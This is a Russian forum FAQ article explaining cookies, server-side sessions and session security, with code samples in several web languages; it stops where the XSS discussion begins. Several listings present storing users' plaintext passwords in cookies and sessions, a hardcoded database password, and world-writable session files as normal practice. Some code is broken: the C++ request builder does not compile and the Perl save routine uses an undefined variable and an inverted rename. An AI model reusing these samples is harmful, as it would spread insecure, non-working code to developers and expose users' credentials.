На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
Модераторы: Serafim, fatalist
Закрыто negram 03-12-2010:

Страницы: (2) 1 [2]  все  ( Перейти к последнему сообщению )  
  • закрыта
> FAQ , прежде чем задать вопрос, смотри сюда
    Cookies, Sessions, Security
    Все, что вы хотели бы знать об управлении пользовательскими сеансами.


    Авторы: Tishaishii (сессии в Perl), Trustmaster (все остальное).

    Вашему вниманию предоставляется статья об управлении пользовательскими сеансами, состоящая из трех частей. В ней мы постарались рассказать о всех сторонах использование сессий и cookies. Представлена как общая информация, так и для конкретных языков программирования.

    1. Cookies.

    Для слова cookies в данном констекте нет однозначного перевода. Кто-то называет их печеньями, кто-то плюшками, кто-то куками, а кто-то оставляет как есть. На самом деле, название cookie, присвоенное этой технологии программистами, которые стали ей пользоваться, пошло от жаргонного "magic cookie", что переводится как "магический сигнал". Так назывались сигналы, посылаемые друг другу параллельными процессами для синхронизации действий.

    В среде же веб-программирования cookies стали первым способом сохранения состояния. До этого скрипт не мог "запомнить" посетителя, или же приходилось каждый раз передавать целую кучу переменных состояния при помощи стандартных методов GET и POST. Разработанные Netscape, cookies позволили сохранять данные на стороне клиента, и броузер передавал их скрипту автоматически. Теперь cookies стали стандартом де-факто, и функции для работы с ними есть в каждом языке веб-программирования как на серверной, так и на клиентской стороне. Начнем со второй.

    1.1. Клиентская часть.

    1.1.1. Протокол.

    Каждый броузер имеет свои особенности в хранении cookies. Большинство хранят их в виде текстовых файлов в различных директориях. Но нас интересует то, как же броузер передает эти данные.

    Как мы знаем, в основе протокола HTTP лежит диалог между клиентом и вебсервером, заключающайся в запросах (Request) и ответах (Response). Для того, чтобы передать данные cookie скрипту, в запросе броузер отправляет следующий заголовок (request header):
    Цитата
    Cookie: name1=value1; name2=value2; name3=value3

    При этом имена и значения переменных, содержащие символы, отличные от букв латинского алфавита и знака подчеркивания, должны быть закодированы методом urlencode.

    Скажем, если бы мы писали HTTP клиент, то передать значения cookie серверу можно таким образом:

    Листинг 1.1.1, C++ (MFC):
    ExpandedWrap disabled
      // Не важно, как мы прочитали из файла переменные name1, name2, value1, value2
      // Будем использовать класс CHttpBlockingSocket для соединения с сервером
      CHttpBlockingSocket client;
      // Строка запроса
      char request[] = "GET /cgi-bin/cookie_test.cgi HTTP/1.0\r\n";
      // Заголовки запроса (request headers), обратите внимание на Cookie
      char headers[] = "User-Agent: Cookie Tester/1.0.0\r\n"
       "Accept: */*\r\n"
       "Cookie: " + name1 + "=" + value1 + "; " + name2+ "=" + value2 + "\r\n"
       "\r\n";
      CSockAddr server_addr;
      // Создаем объект и соединяемся с сервером
      client.Create();
      server_addr = CBlockingSocket::GetHostByName("domain.com", 80);
      client.Connect(server_addr);
      // Передаем запрос и заголовки
      client.Write(request, strlen(request), 10);
      client.Write(headers, strlen(headers), 10);
      // Ответы сервера прочитаем в строковый буфер
      char buffer[];
      int bytes_read = 0;
      do
      {
          bytes_read = client.ReadHttpHeaderLine(buffer, 100, 10);
      }
      while(strcmp(buffer, "\r\n"));
      bytes_read = client.ReadHttpResponse(buffer, 100, 10);
      // Закрываем соединение
      client.Close();


    1.1.2. Ограничения.

    Со стороны броузера существуют определенные ограничения:
    • Клиент может получить и сохранить не более 300 плюшек.
    • Размер каждого печенья не должен превышать 4 КБ, при этом на пару "имя и значение" действует такой же ограничение. То есть, если размер имени и значения переменной достигает 4 КБ, то она "займет" все печенье.
    • Броузер хранит не более 20 печений с одного и того же домена.
    1.2. Серверная часть.

    Задача серверного скрипта заключается в создании, использовании и изменении печений. Ведь именно скриптом и для скрипта сохраняется сеанс. В этой главе мы сначала изучим протокол создания/изменения/удаления cookies, а потом узнаем, откуда скрипт их читает.

    1.2.1. Протокол работы с cookies.

    Этот материал может показаться вам неинтересным, но зная его, вы легко сможете понять впоследствии что означает каждое слово. Итак, для создания cookie, как можно догадаться, используется специальный заголовок ответа (response header). Полный его синтаксис выглядит так:
    Цитата
    Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure


    Разберем его по частям:

    NAME=VALUE - это переменная и ее значение, которые мы задаем данным заголовком. Они должны быть закодированы методом urlencode. У вас, наверно, возник вопрос: "А что же это за метод такой"? Метод urlencode заключается в замене всех символов в строке, кроме латинского алфавита и знака подчеркивания, их эквивалентом в таблице ASCII в шестнадцатеричном представлении с приставкой "%" перед кодом. Исключение - пробел, он заменяется знаком "+".

    expires=DATE - задает время истечения срока годности данного cookie, когда он будет удален. Если этот параметр не задан, то cookie будет удален сразу после завершения выполнения этого скрипта. Формат даты следующий:
    Цитата
    Wdy, DD-Mon-YYYY HH:MM:SS GMT

    К примеру, можно задать дату заведомо в будущем, чтобы с этим cookie можно было спокойно работать:
    Цитата
    Mon, 01-Jan-2020 12:00:00 GMT


    path=PATH - задает путь на сервере, скрипты из которого имеют доступ к данной плюшке. Чаще всего, задают корневую директорию вебсервера, то есть "path=/;". Но можно, например, задать папку cgi-bin или особенный путь:
    Цитата
    Set-Cookie: pass=secret; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/secret/top_secret; domain=secret.domain.com


    domain=DOMAIN_NAME - задает доменное имя, скрипты с которого имеют доступ к данному печенью. Если параметр не задан, то домен может быть любым.

    secure - этот флаг сообщает, что данное печенье может быть использовано только при работе по безопасному протоколу HTTPS.

    Для того, чтобы задать несколько переменных, нужно послать несколько заголовков Set-Cookie:
    Цитата
    Set-Cookie: foo=some_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/
    Set-Cookie: bar=another_value; expires=Mon, 01-Jan-2020 12:00:00 GMT; path=/


    Для того, чтобы изменить значение переменной, вы посылаете новый заголовок с именем этой переменной и ее новым значением. Если значение expires поставить в прошлом, то переменная будет удалена:
    Цитата
    Set-Cookie: foo=; expires=Mon, 01-Jan-2000 12:00:00 GMT; path=/


    Имейте ввиду, что для изменения/удаления cookies параметры path и domain имеют большое значение: скажем, если вы зададите две переменные с одним именем, но для разных путей, то это будут совсем разные переменные. Поэтому при удалении придется использовать те же параметры.

    1.2.2. Откуда скрипт берет данные.

    Когда броузер посылает серверу заголовок запроса, то обращение происходит не напрямую к скрипту. Как же тогда он получает данные? Вебсервер создает специальную переменную окружения, в которой он сохраняет данные плюшки в том виде, в каком он их получил (var1=value1; var2=value2 и т.д.). Мы можем прочитать эту переменную при помощи соответствующей функции. В качестве примера, напишем функцию на PHP, которая будет возвращать массив, содержащий данные cookie (фактически, мы напишем замену стандартному механизму PHP, сохраняющему эти данные в переменной $_COOKIE).

    Листинг 1.2.2, PHP:
    ExpandedWrap disabled
      <?php
      // Эта функция считывает cookies в массив
      function dump_cookie()
      {
          // Создаем временную переменную
          $result = Array();
          // Копируем содержимое переменной окружения в строку
          $content = getenv('HTTP_COOKIE');
          // Парсинг строки в цикле
          $temp = '';
          $key = '';
          $i = 0;
          while($i < strlen($content))
          {
        if($content[$i] == '=')
        {
         $key = urldecode($temp);
         $temp = '';
        }
        elseif($content[$i] == ';')
        {
         $result[$key] = urldecode($temp);
         $temp = '';
         // После точки с запятой идет пробел!
         $i++;
        }
        else $temp .= $content[$i];
        $i++;
          }
          // Последнюю пару значений заполняем "вручную"
          if(!empty($key)) $result[$key] = urldecode($temp);
          // Готово
          return $result;
      }
       
      // Сохраняем cookies в переменной
      $my_cookies = dump_cookie();
      // Смотрим, что же нам передали
      echo '<pre>';
      print_r($my_cookies);
      echo '</pre>';
      ?>


    1.3. С миру по плюшке!

    Теперь, когда вы знаете протокол от и до, самое время разобраться с тем, как же можно работать cookies на различных языках/технологиях веб-программирования.

    1.3.1. JavaScript.

    На JavaScript получить доступ к cookies со стороны броузера можно при помощи свойства cookie объекта document.

    Вы можете прочитать все печенья, заданные для данной страницы, из переменной document.cookie. Простейший способ это сделать:
    ExpandedWrap disabled
      alert('document.cookie');


    В результате мы получим в новом окне переменные и их значения в закодированном (urlencode) виде, разделенные точкой с запятой (как и в заголовке запроса). Тот же результат, кстати, можно получить просто зайдя на нужную страницу и введя в строке адреса
    Цитата
    javascript: alert(document.cookie)


    Вы можете также изменять текущие cookies документа. Следующий код добавит новую пару переменных в плюшку и перезагрузит страницу.

    Листинг 1.3.1.1, JavaScript:
    ExpandedWrap disabled
      document.cookie += '; foo=bar';
      location = '/cgi-bin/cookie_test.cgi';


    Такого рода изменения оказывают влияние только на текущую страницу, не сохраняя измененные данные в файле cookie на жестком диске пользователя. Но это еще не все. JavaScript может записывать cookie таким же образом, как это делают серверные скрипты: то есть создавать, изменять и удалять cookies на жеском диске пользователя. Для этого нужно присвоить document.cookie новое значение, используя протокол Cookie Response Header. В качестве примера создадим cookie, который устареет через месяц. В параметре expires используется время в формате UNIX.

    Листинг 1.3.1.2, JavaScript:
    ExpandedWrap disabled
      var expr = new Date();
      var inAWeek = expr.getTime() + (1000 * 3600 * 24 * 30);
      expr.setTime(inAWeek);
      document.cookie = 'var_name=some_value; expires=' + expr.toGMTString();


    По аналогии, для изменения этого cookie нам потребуется вызвать тот же код, но с новым значением переменной, или же задать значение expires в прошлом, если мы хотим удалить переменную.

    1.3.2. PHP.

    PHP автоматически получает все cookies, декодирует их, и сохраняет в суперглобальном (доступном в любой области видимости) ассоциативном массиве $_COOKIE, где индекс массива - имя переменной, а значения элемента, соответственно, равно значению этой переменной. Также если в php.ini включена директива register_globals, то PHP создаст глобальные переменные, эквивалентные полученным плюшкам.

    Допустим, скрипту нужно прочитать из плюшки имя пользователя, пароль и идентификатор и передать их некой функции login().

    Листинг 1.3.2.1, PHP:
    ExpandedWrap disabled
      // Если register_globals = On, то эти строчки можно удалить
      $id = $_COOKIE['id'];
      $name = $_COOKIE['name'];
      $password = $_COOKIE['password'];
      // Конец кода для register_globals = Off.
      // Теперь над этими переменными можно произвести какие-то действия
      $user = login($id, $name, $password);


    Конечно, этот пример можно было бы написать в одну строчку, но этот вариант яснее. Еще имейте ввиду, что массив $_COOKIE доступен только для чтения, так что если вы хотите изменять значения полученных переменных, то придется скопировать их в обычные переменные (как сделано в этом примере).

    Для записи/изменения/удаления cookies в PHP имеется одна единственная функция setcookie(). Ее прототип выглядит так:
    ExpandedWrap disabled
      int setcookie(string name [, string value [, int expire [, string path [, string domain [, int secure]]]]]);

    Фактически, эта функция обабатывает имя и значение (name, value) функцией urlencode(), переводит expire в нужный формат и отсылает заголовок ответа (response header) аналогично функции header(). С аргументами name и value все ясно, а вот expire принимает время истечения срока годности данного cookie в формате UNIX (целое число). path и domain указывают путь на сервере и доменной имя (см. гл. 1.2.1), а в secure передается единица, если используется исключительно протокол HTTPS.

    К примеру, у нас есть идентификатор, логин и пароль пользователя, которые мы хотим сохранить в плюшке сроком на месяц.

    Листинг 1.3.2.2, PHP:
    ExpandedWrap disabled
      $expr = time() + (3600 * 24 * 30);
      setcookie('id', $id, $expr);
      setcookie('name', $name, $expr);
      setcookie('password', $password, $expr);


    Для того, чтобы удалить эти переменные, нам понадобится следующий код:

    Листинг 1.3.2.3, PHP:
    ExpandedWrap disabled
      setcookie('id', '', time() - 60);
      setcookie('name', '', time() - 60);
      setcookie('password', '', time() - 60);


    Имейте ввиду, что вызовы функций header() и setcookie() ВСЕГДА ДОЛЖНЫ ИДТИ ДО ВЫВОДА, то есть вызовов print, echo и любой функции, которая затрагивает стандартный поток вывода. Ошибка "headers already sent" возникает именно по той причине, что мы пытаемся задать cookie (или же послать другой заголовок) после того, как заголовки уже посланы и PHP ожидает содержимое документа.

    1.3.3. Pascal Server Pages.

    PSP принимает все переменные cookies автоматически и сохраняет их так же, как и любые CGI переменные. Получить к ним доступ можно, например, так:

    Листинг 1.3.3.1, Pascal (PSP):
    ExpandedWrap disabled
      {$H+}{$MODE OBJFPC}
      program cookie_test;
      { ... код ... }
      var login, password: string;
          id: longint;
      { ... код ... }
      begin
          login := Web_GetVar('login');
          password := Web_GetVar('password');
          id := longint(Web_GetVar('id'));
          { ... код ... }
      end.


    У PSP есть одно досадное ограничение, унаследованное от FPC модуля dos: суммарная длина всех cookies (имена и значения в закодированном виде) ограничена 256 символами. Поэтому множество переменных хранить в плюшках не получится (для этого, в общем-то, существуют сессии, см. гл. 2).

    Для PSP действует все то же правило: функции для работы с cookies должны вызываться до начала вывода, а точнее - до вызова Web_Header().

    Чтобы задать плюшку нужно использовать одну из перегруженных функций Web_SetCookie(), вот их прототипы:
    ExpandedWrap disabled
      procedure Web_SetCookie(name, value: string);
      procedure Web_SetCookie(name, value, path, domain, expires: string);

    Первая функция создаст новую плюшку с именем переменной name и значением value (url-кодирование вызывается автоматически), параметры expires и path задаются по умолчанию (1 января 2020 и /cgi-bin соответственно). Второй вариант используется если вам нужно установить конкретные значения дополнительных параметров. К примеру, зададим пару печений.

    Листинг 1.3.3.2, Pascal (PSP)
    ExpandedWrap disabled
      {$H+}{$MODE OBJFPC}
      program cookies;
      uses web;
       
      begin
          Web_SetCookie('foo', 'Почему бы не по-русски?');
          Web_SetCookie('bar', 'Custom values...', '/cgi-bin/secret', 'secret.domain', 'Sat, 02-Oct-2004 22:00:00 GMT');
          Web_Header(); // Теперь пойдет содержимое страницы
          writeln('<h1>Cookies are set!</h1>');
      end.


    Для удаления cookies имеется также 2 варианта функции Web_DeleteCookie(). Их прототипы:
    ExpandedWrap disabled
      procedure Web_DeleteCookie(name: string);
      procedure Web_DeleteCookie(name, path, domain: string);

    Первый вариант удаляет переменную с заданным именем. Но если нужная переменная была задана с определенным параметром path и domain, то нужно воспользоваться вторым вариантом этой функции с теми же значениями пути и имени домена. Удалим плюшки, созданные в листинге 1.3.3.2.

    Листинг 1.3.3.3, Pascal (PSP):
    ExpandedWrap disabled
      {$H+}{$MODE OBJFPC}
      program cookies;
      uses web;
       
      begin
          Web_DeleteCookie('foo');
          Web_DeleteCookie('bar', '/cgi-bin/secret', 'secret.domain');
          Web_Header(); // Теперь пойдет содержимое страницы
          writeln('<h1>Cookies are removed!</h1>');
      end.

    Прикреплённый файлПрикреплённый файлcookie_files.zip (6.97 Кбайт, скачиваний: 718)
      2. Sessions.

      Как бы ни были удобны cookies, но все же у них есть множество недостатков. Во-первых, это встроенные ограничения. Во-вторых, слабая защищенность (см. гл. 3). В-третьих, они не позволяют полностью контролировать сеанс пользователя. Поэтому следующей ступенью в управлении пользовательскими сеансами являются сессии.

      Каждый язык, предоставляющий возможность использования сессий имеет свои особенности реализации процесса. Данные сессий могут храниться во временных файлах на жестком диске сервера, в структурированных электронных таблицах или же в реляционных базах данных. При этом для того, чтобы серверный скрипт "узнал своего клиента" используются идентификаторы сессий, передаваемые как обычная GET/POST переменная или задаваемая в Cookie.

      Итак, от общих деталей пришла пора переходить к конкретным реализациям.

      2.1. ASP.

      В ASP управление техническими деталями сессий ложится на плечи Microsoft IIS (Internet Information Service). Для передачи идентификатора сессии используется cookie. Пользовательская сессия стартует автоматически при обращении пользователя к любому ASP-скрипту. Сигналом к завершению сессии служит отсутствие какой-либо активности со стороны пользователя в течении 20 минут.

      Для управления текущей сессией ASP создает объект Session. Для того, чтобы записать переменную в текущий сеанс, нужно использовать следующий синтаксис:
      ExpandedWrap disabled
        Session("var_name") = var_name


      Давайте сохраним данные, полученные от HTML формы, в сессии.

      Листинг 2.1.1, ASP:
      ExpandedWrap disabled
        <%
        login = Request("login")
        password  = Request("password")
        Session("login") = login
        Session("password") = password
        %>


      Этот пример можно было бы написать в 2 строчки, но так нагляднее. Для того, чтобы получить переменную текущего сеанса, нужно использовать следующий синтаксис:
      ExpandedWrap disabled
        var_name = Session("var_name")


      Следовательно, для того, чтобы получить логин и пароль после выполнения скрипта из предыдущего листинга, можно использовать этот пример.

      Листинг 2.1.2, ASP:
      ExpandedWrap disabled
        <%
        login = Session("login")
        password = Session("password")
        %>


      Кроме того, в ASP существует объект Application, существующий в единственном экземпляре, но доступный из любого приложения. Его можно использовать совершенно таким же образом, как и Session. Давайте напишем в глобальную переменную log о своем присутствии.

      Листинг 2.1.3, ASP:
      ExpandedWrap disabled
        <%
        log = Application("log")
        log = log & " [ One more instance of this app working ! ]"
        Application("log") = log
        %>


      Как видите, сессии в ASP крайне просты в использовании.

      2.2. Perl.
      Автор: Tishaishii

      2.2.1. Основной алгоритм.
      • Клиент впервые пользуется вашими услугами;
      • Вы получаете возможный максимум информации о нём, однозначно его идентифицируете;
      • В следующий раз, когда тот же клиент снова к вам обратится, его можно будет опознать по ранее установленному идентификатору и вспомнить информацию именно об этом клиенте, полученную в первый и последующие его визиты.
      Для идентификации клиента используется, естественно, клиентский идентификатор. Он выдаётся клиенту при создании сессии, и он же служит ключом к хранилищу информации о нём на другой стороне. Т.е. зная этот идентификатор, можно однозначно определить расположение сохранённой информации о соответствующем клиенте.

      Теперь про HTTP. Клиент хранит свой идентификатор разными доступными ему способами:
      • В зашифрованном файле (cookie)
      • В истории запросов
      В любом случае, получает он этот ключ через HTTP-заголовки и, как правило, предъявляет ключ тоже через них (специальные поля HTTP-заголовка или в URL после знака "?"), возможно, в теле запроса.

      Сервер же, может сохранять информацию о пользователе:
      • В базе данных
      • В структурированных файлах (сериализация)
      • Самый удобный способ - в оперативке. Об этом говорить не стану
      • Получать все данные от пользователя (удобно, но очень небезопасно)
      Теперь переходим непосредственно к Perl.

      2.2.2. Сессии собственными руками.

      Что-то я говорил про сериализацию.
      Сериализация позволяет преобразовывать структуры данных из их внутреннего представления в среде реализации в сохраняемый и не зависящый от среды реализации формат.

      Для этих вот целей можно самому разработать много всяких вариантов.
      Например, поставлена задача сериализовать простую структуру и данные постоянно будут храниться в файле. А "простая структура" вроде:

      Листинг 2.2.2.1, структурированный файл:
      ExpandedWrap disabled
        %клиент={
               идентификатор=>1799,
                вес=>'10 кило',
             мука=>'15%',
                сахар=>'нет',
               'получает
         в
                 год'=><<'...Информация...'};
                           Да,
          он получает
             в год
        ...Информация...


      Ключ, как и соответствующее ему значение может состоять из любых символов.
      Не стану рассматривать все варианты записи такой структуры. Покажу, только, вариант, которым чаще всего пользуюсь в таких случаях. Кодирование:

      Листинг 2.2.2.2, Perl:
      ExpandedWrap disabled
        package Client;
        use locale;
        use MD5;
         
        sub Client::reset{
            -f&&-M>1 ? unlink : undef while <${+\+directory}/*>
        }
         
        sub encode{ # преобразование сивола в шестнадцатеричное целое 0x0<=число<0x100
          my$str=shift;
           $str=~s~(\W)~sprintf'%02X',ord$1~geos;
          +$str
        }
         
        sub decode{ # обратное encode преобразование
          my$str=shift;
           $str=~s~%([a-f\d]{2})~+chr hex$1~geoi;
          +$str
        }
         
        sub keyval_enc{ # возвращает сериализованную строку
           +&encode(+shift)."\t".&encode(+shift)."\n"
        }
         
        sub keyval_dec{ # возвращает декодированную в две переменные строку
          my($key, $val)=split/\t/o,+shift, 2;chomp$val;
          +shift->{+decode $key}=decode $val
        }
         
        sub directory{
           my$directory=shift||'/sessions';
            mkdir$directory,0700 unless -d$directory;
           +$directory
        }
        sub filename{+join  '/',             @_}
         
        sub save{ # запись данных в файл
            my$client=shift;
            my$directory=&directory;# в подпрограмму "directory"
                        # неявно передаются параметры @_
            my$file_name=filename $directory, $$client{'идентификатор'};
            my$temp_name=$file_name.'.tmp';
         my$fh;
         
          return undef unless open $fh, '>'.$temp_file;
               #flock$fh,2;
            while(my($k, $v)=each%$client)
          {
               print $fh keyval_enc $k, $v
         }
               #flock$fh,8;
            unlink($temp_name) | return undef unless close$fh && rename$file_name, $temp_name;
         
          +1
        }
         
        sub load{ # загрузка
         my$id=shift || return create;
           my$client=shift||{};
            my$directory=&directory;
         
            $client_id=$$client{'идентификатор'} unless defined $client_id;
         
         my$file_name=filename $directory, $id;
          my$fh;
         
          return create $client, $directory unless open $fh, '<'.$file_name;
          keyval_dec $_, $client while <$fh>;
         return undef unless close$fh;
         
           +$client
        }
         
        sub remove{
            my$client=shift;
            +unlink +filename +&directory, +$$client{+'идентификатор'};
         # это не простые плюсики, они [i]медицинские[/i]
        }
         
        sub create{ # создание
         my$client=shift||{};
            my$directory=&directory;
         
            $client{'идентификатор'}=MD5->hexhash($ENV{REMOTE_ADDR}, localtime, time, rand);
         
            +$client
        }
         
        +1;


      Использование:

      Листинг 2.2.2.3, Perl:
      ExpandedWrap disabled
        package main;
         
        use Client;
         
        Client->reset;
        local$client=Client->load($id); # загрузка или создание записи
        $client->{Имя}='Не знамо какое';
        $client->{Номер_номера}='xyz';
        Client->save($client); # сохранение
        Client->remove; # удаление
         
        +1;


      А ещё лучше создать модуль, основанный на связанных с объектом переменными, где метод new удаляет все старые файлы сессий и загружает соответствующие данные о клиенте, а метод DESTROY - сохраняет информацию в файл.

      2.2.3. Сессии с помощью модулей.

      Очень рекомендую утилиту tkpod для просмотра документации модулей из mod_perl. Взять mod_perl можно знамо где, по адресу http://perl.apache.org.

      Листинг 2.2.3.1, Perl:
      ExpandedWrap disabled
        use Apache::Session::MySQL;
        use Apache;
         
        use strict;
         
        #read in the cookie if this is an old session
         
        my $r = Apache->request;
        my $cookie = $r->header_in('Cookie');
        $cookie =~ s/SESSION_ID=(\w*)/$1/;
         
        #create a session object based on the cookie we got from the browser,
        #or a new session if we got no cookie
         
        my %session;
        tie %session, 'Apache::Session::MySQL', $cookie, {
        DataSource => 'dbi:mysql:sessions', #these arguments are
        UserName => 'mySQL_user', #required when using
        Password => 'password', #MySQL.pm
        LockDataSource => 'dbi:mysql:sessions',
        LockUserName => 'mySQL_user',
        LockPassword => 'password'
        };
         
        #Might be a new session, so lets give them their cookie back
         
        my $session_cookie = "SESSION_ID=$session{_session_id};";
        $r->header_out("Set-Cookie" => $session_cookie);


      2.3. PHP.

      С приходом стандартизиронного механизма сессий в PHP4, отпала всякая необходимость изобретать велосипед, организующий взаимосвязь между технической реализацией и самим скриптом.

      У каждой сессии в PHP есть свой уникальный (на самом деле, 100%-ную уникальность гарантировать нельзя, ведь даже случайно генерируемые сочетания могут совпадать) идентификатор. Он передается от стриницы к страницы либо в cookie (если утановлена директива "session.use_cookies = 1" в php.ini), либо в обычной GET или POST переменной, автоматически "прицепляемой" к каждому запросу. Обычно эта переменная имеет имя PHPSESSID, но эта, а также другие настройки сессий можно изменить в файле php.ini в секции "[Session]".

      Механизмы реализации могут быть разными. О нестандартных механизмах мы поговорим в главе 3, а здесь рассмотрим стандартный механизм сессий PHP. Эти знания полезные еще и потому, что интерфейс использования сессий в PHP стандартизирован.

      Для начала о технической части. Стандартные PHP-сессии хранятся в структурированных временных файлах, именуемых "sess_идентификатор_сессии" и хранящихся либо во временной системной директории ("/tmp" в UNIX, "C:\Windows\temp\" в Windows), либо в директории session.save_path, если таковая указана в php.ini. При этом файлы доступны для чтения любому пользователю системы, но об этом, опять же, в главе 3.

      Сессия создается при первом вызове функции session_start(). Эту функцию следует вызывать в начале сеанса и использовать до какого-либо вывода, как и все функции работы с сессиями.

      Все переменные сессии хранятся в суперглобального (доступного из любой области видимости) массива $_SESSION (или $HTTP_SESSION_VARS в старомодном стиле PHP3). Если в php.ini включена директива register_global, то используются также глобальные имена переменных. Поэтому в листингах код для register_globals = on или off будет размечен специальными комментариями.

      Для добавления новых переменных в сессию нужно зарегистрировать имена этих пременных функцией session_register(). Давайте, наконец, зарегистрируем полученные с POST-формы данные в сессии.

      Листинг 2.3.1, PHP:
      register_globals = off или on

      ExpandedWrap disabled
        <?php
        // Получаем переменные с POST-формы
        $login = $_POST['login'];
        $password = $_POST['password'];
        // Начинаем сессию
        session_start();
        // Объявляем имена для регистрируемых переменных
        session_register('login', 'password');
        // Записываем значения переменных
        $_SESSION['login'] = $login;
        $_SESSION['password'] = $password;
         
        // Дальше какой-то код...
        ?>

      register_globals = on
      ExpandedWrap disabled
        <?php
        // Начинаем сессию
        session_start();
        // Объявляем имена для регистрируемых переменных
        session_register('login', 'password', 'test');
        // С login и password все проходит автоматически (из-за глобальности),
        // а на примере test я покажу, как задавать еще не созданную переменную
        $test = 'Test variable value';
         
        // Вот и все!
        ?>


      Те же действия нужно произвести, чтобы изменить значения уже заданных переменных.

      Для того, чтобы узнать, зарегистрирована ли переменная, используется функция session_is_registered(). Для удаления переменной функция session_unregister(). Удалим переменную test из сессии, если таковая зарегистрирована:

      Листинг 2.3.2, PHP:
      ExpandedWrap disabled
        <?php
        session_start();
        if(session_is_registered('test'))
            session_unregister('test');
        ?>


      Как вы, наверно, уже догадались, получить данные сессии можно все из того же суперглобального массива $_SESSION или же просто переменных с нужными именами в случае register_globals = on.

      Листинг 2.3.3, PHP:
      ExpandedWrap disabled
        <?php
        session_start();
        $user = login($_SESSION['login'], $_SESSION['password']);
        if(!$user) header('Location: wrong.html');
        ?>


      В сессии можно хранить любые переменные, включая массивы и объекты, которые подвергаются автоматической сериализации.

      Для того, чтобы сбросить все переменные текущей сессии существует функция session_unset(). Уничтожить текущую сессию можно, вызвав функцию session_destroy().

      Листинг 2.3.4, PHP:
      ExpandedWrap disabled
        <;?php
        session_start();
        session_destroy();
        echo '<h1>See you next time;)</h1>';
        ?>


      Кроме того, есть ряд других функций для работы с сессиями, которые могут пригодится для более точного взаимодействия:
      • string session_name ([string name]): каждой сессии можно присвоить строковое имя при помощи этой функции. Если же параметр не указан, то она возвращает текущее имя сессии.
      • string session_module_name ([string module]): задает/возвращает имя модуля, используемого для работы с сессиями.
      • string session_save_path ([string path]): задает/возвращает путь для сохранения файлов сессий.
      • string session_id ([string id]): задает/возвращает идентификатор текущей сессии.
      • array session_get_cookie_params (void): возвращает ассоциативный массив с индексами 'lifetime', 'path', 'domain', содержащий параметры использования cookies в текущей сессии.
      • void session_set_cookie_params (int lifetime [, string path [, string domain]]): задает параметры использования cookies для сессий в текущем скрипте.
      • Остальные специфические функции рассматриваются в главе 3.
      2.4. Pascal Server Pages.

      Ограничение на длину получаемого cookie в 255 символов послужило стимулом для появления в PSP 1.1 механизма сессий, который хранит данные на сервере и не имеет ограничений на объем данных.

      Использование сессий в PSP очень похоже на PHP, но механизмы разные. PSP использует cookies для хранения идентификаторов сессий, а сами данные хранятся в электронной таблице SDS (Simple Data Storage) на сервере. Прежде чем использовать сессии, вам нужно настроить PSP для работы. Прежде всего, следует создать SDS-таблицу для сессий. Используйте для этого программу "psp/bin/conf/session_installer" или "psp/src/conf/session_installer.pp" (сначала нужно скомпилировать). После компиляции следуйте указаниям программы. Затем поместите таблицу ("sessions.sds") в конечную директорию. Например, в UNIX можно поместить ее в "/var/sessions" или "/home/my_dir/sessions", в Windows можно поместить ее в "c:\temp\sessions". Затем нужно сделать ее доступной для записи ("chmod 777 sessions.sds" или "chown apache sessions.sds", это зависит от конкретной системы). Наконец, вы должны отредактировать файл "psp.ini" ("psp/src/conf/psp.ini") и поместить его в директорию проекта. Вы должны изменить значение "session_path" на ваш путь (пример: "c:\temp\sessions\sessions.sds", "/home/my_dir/sessions/sessions.sds") и изменить "session_crypt_byte" на новое значение. Теперь ваша программа может правильно использовать сессии.

      Имейте ввиду, все вызовы функций сессий должны идти до Web_Header.

      Чтобы начать сессию используется процедура Web_SessionStart:
      ExpandedWrap disabled
        procedure Web_SessionStart;

      Она автоматически создаст новую сессию или же получит идентификатор и данные текущей. Данные сохраняются таким же образом, как и данные GET/POST/COOKIE, поэтому получить их можно, к примеру, так:

      Листинг 2.4.1, Pascal (PSP):
      ExpandedWrap disabled
        {...}
        begin
        Web_SessionStart; // Login и pass уже находятся в сессии
        Web_Header;
        login := Web_GetVar('login');
        pass := Web_GetVar('password');
        // Теперь можно что-то с этим пользователем сделать!
        {...}


      Для добавления новой переменной существует процедура Web_SessionRegister:
      ExpandedWrap disabled
        procedure Web_SessionRegister(name, value: string);

      Она добавляет в сессию новую переменную и ее значение.

      Листинг 2.4.2, Pascal (PSP):
      ExpandedWrap disabled
        {...}
        begin
        login := Web_GetVar('login'); // Получаем логин с HTML формы
        Web_SessionRegister('login', login); // Создается сессия, содержащая одну переменную (login)
        pass := Web_GetVar('password'); // Получаем пароль с HTML формы
        Web_SessionRegister('password', pass); // Пароль добавлен в сессию
        Web_SessionStart; // Ничто не остановит начало сессии!
        Web_Header;
        // Теперь можно что-то с этим пользователем сделать!
        {...}


      Чтобы удалить переменную из сессии, нужно вызвать процедуру Web_SessionUnregister(), передав ей имя переменной в качестве аргумента.

      Листинг 2.4.3, Pascal (PSP):
      ExpandedWrap disabled
        {...}
        begin
        Web_SessionUnregister('email'); // Больше нет e-mail в сессии :(
        Web_SessionStart; // Но мы продолжаем ее использовать :)
        Web_Header;
        {...}


      Наконей, для уничтожения сессии вызывается процедура Web_SessionDestroy, не принимающая аргументов.

      Листинг 2.3.3, Pascal (PSP):
      ExpandedWrap disabled
        {...}
        begin
        Web_SessionDestroy; // Сессии больше нет
        Web_Header;
        writeln('<h1>До свидания!</h1>');
        {...}
        3. Security.

        Если вы занимаетесь разработкой веб-сайтов, то наверняка уделяете внимание аспектам безопасности. Механизм управления пользовательскими сеансами - одно из самых привелекательных мест для злоумышленника. Ведь зайдя на сайт под чужим аккаунтом, он может с легкостью получить нужные права/информацию.

        О безопасности некоторых методов управления сеансами мы поговорим здесь.

        3.1. Безопасность Cookies.

        Как мы знаем, cookies чаще всего хранятся в виде текстовых файлов на жестком диске пользователя. Поэтому злоумышленник может получить эти данные, заслав на компьютер пользователя свой подлый троян. В данном случае ответственность за последствия лежит на плечах самого пользователя, который не пользуется антивирусным ПО и брандмауэром. Посоветовать можно только одно: использовать упомянутый выше софт + программы, удаляющие SpyWare, AdWare и тому подобные шпионы, нарушающие конфиденциальность.

        А вот другая сторона безопасности плюшек - забота веб-программиста. Она связана со внедрением произвольного кода на ваши веб-страницы. Для того, чтобы понять, как же злоумышленник может заполучить данные ваших добросовестных посетителей, расскажу немного об атаках, именуемых Cross Site Scripting (XSS).
